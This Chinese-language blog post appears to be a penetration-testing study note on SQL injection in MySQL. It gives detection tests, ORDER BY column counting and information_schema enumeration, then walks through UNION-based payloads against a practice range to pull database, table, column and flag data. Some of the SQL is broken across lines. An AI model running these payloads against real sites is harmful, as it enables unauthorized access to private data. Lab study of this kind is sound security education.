滲透學習之資料庫注入原理與方法

2021-10-07 13:32:43 字數 3933 閱讀 7360

0x03 示例

sql注入可能是目前網際網路上存在的最豐富的程式設計缺陷。 這是未經授權的人可以訪問各種關鍵和私人資料的漏洞。 sql注入不是web或資料庫伺服器中的缺陷,而是由於程式設計實踐較差且缺乏經驗而導致的。 它是從遠端位置執行的最致命和最容易的攻擊之一。由使用者輸入的引數會被php/jsp語言等認為是**去翻譯並執行。

在sql注入中,我們使用各種命令與db伺服器互動,並從中獲取各種資料。在本文章中,我會記錄 如何訪問機密資料

輸入mysql 『and 1=1』 或者 『and 1=0』 語句後介面是否產生錯誤的顯示資訊,如果產生了錯誤的顯示資訊,那麼這裡**不離十就存在資料庫注入點。

在資料庫中,很多語句都存在閉合規則,如 select * from table_user where user_name=『admin』 , updata table_user set user_name=『myname』,password=『123456』 where user_name=『admin』 ,這裡都存在大量的閉合規則,我們可以驗證一下程式設計者是否在這裡做了過濾操作。輸入引數 』 或者 " 看介面是否產生錯誤的顯示資訊。

一般後台處理程式語言都能解析這條語句,這條語句的作用就是彈乙個顯示』1』的視窗。如果這裡操作正常,那麼證明了資料庫對使用者輸入資料當作了正常的字串處理

我們可以利用 order by 語句來驗證字段數量, 假如使用者輸入 123,後台執行** select * from table_user where user_name=『123』,那麼我們輸入 』 or 1=1 order by 1/2/3 來驗證介面是否顯示正常來確認該錶返回的字段數

在mysql5以上的版本,我們能通過mysql內建函式來暴庫,具體**如下:

// version()  >> 返回伺服器資料庫版本號

// database() >> 返回當前操作的庫名

// user() >> 返回當前登入的使用者資訊

select version(),

database()

,user()

// mysql5 以上的版本有自帶的乙個庫,這個庫儲存著資料庫表資訊.

// table_name >> 表名字段

// information_schema >> 資料庫所有表資訊

select table_name from information_schema.

tables

where table_schema=

'庫名'

limit0,

1// 這時候我們再根據表明查詢我們需要的後台資料,暴庫成功.

演示 url(別人搭建的靶場) >>

// 這裡我們要通過使用者輸入引數獲取後台的flag資訊

// 第一步: 驗證是否存在資料注入點 >> ") or 1=1#

// 輸入 username >> 1 ,password >> 1 ,介面沒有顯示錯誤

// 輸入 ' or 1=1# | " or 1=1# 都不對,加括號試試

// 輸入 ') or 1=1# | ") or 1=1# , ") or 1=1# 顯示 your login name:admin,your password:as4dsa2dsad2a3

// 第二步: 匹配語句返回字段 >> 3個字段

// 輸入 ") or 1=1 order by 1# 顯示正常

// 輸入 ") or 1=1 order by 5# 顯示不正常

// 輸入 ") or 1=1 order by 4# 顯示不正常

// 輸入 ") or 1=1 order by 3# 顯示正常

// 探測顯示位欄位 >> 2,3

") or 1=0 union select 1,2,3#

// 第二步: 利用內建函式暴資料庫資訊

// 獲取庫名 >> post_error,使用者 >> [email protected],資料庫版本號 >> 5.6.47")

or1=0

union

select

1,version(),

database()

#") or 1=0 union select 1,2,user()#

// 檢視 post_error 庫中所有的表數量 >> 2")

or1=0

union

select1,

2,count(*

)from information_schema.

tables

where table_schema=

'post_error'

limit0,

1#// 檢視表1名 >> flag,我們要的flag可能就在這個表中

") or 1=0 union select 1,2,table_name from information_schema.tables where table_schema='post_error' limit 0,1#

// 檢視表2名 >> user")

or1=0

union

select1,

2,table_name from information_schema.

tables

where table_schema=

'post_error'

limit0,

2#// 檢視表1的資料字段數量

") or 1=0 union select 1,2,column_name from information_schema.columns where table_schema='post_error' and table_name='flag' limit 0,1#")

or1=0

union

select1,

2,column_name from information_schema.

columns

where table_schema=

'post_error'

and table_name=

'flag'

limit1,

1#// 顯示錯誤 >> 這個表只有 id,flag 兩個字段

") or 1=0 union select 1,2,column_name from information_schema.columns where table_schema='post_error' and table_name='flag' limit 2,1#

// 暴庫 post_error庫flag表資料

// id: 1 , falg: zkaq-postk1")

or1=0

union

select

1,id,flag from post_error.flag limit0,

1#// id: 2 , falg: zkaq-xzt

") or 1=0 union select 1,id,flag from post_error.flag limit 1,1#

// id: 3 , falg: zkaq-flaga1")

or1=0

union

select

1,id,flag from post_error.flag limit2,

1#

pass_01 通關 ^_^~~

web滲透 SQL注入資料庫資訊盜取

sql注入原理 指令碼 接收來自前端資料未進行過濾,導致惡意sql語句插入到資料庫中查詢執行。如下 id get id sql select from user where id id result mysql query sql sql注入攻擊流程 1.and語法判斷是否存在注入點 and 1 1...

SQL注入原理 手工注入access資料庫

一 target sql注入原理 學習手工注入過程 二 實驗原理 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的的查詢字串,最終達到欺騙伺服器執行惡意的sql命令 1 在結尾的鏈結中依次新增 和 and 1 1 和 and 1 2 判斷 是否存在注入點 2 新增語句 and exis...

mysql資料庫sql注入原理 SQL注入原理

結構化查詢語句 structured query language,縮寫 sql 是一種特殊的程式語言,用於資料庫中的標準資料查詢語言。sql注入 sql injection 是一種常見的web安全漏洞,攻擊者利用這個問題,可以訪問或者修改資料,或者利用潛在的資料庫漏洞進行攻擊。什麼是sql注入?s...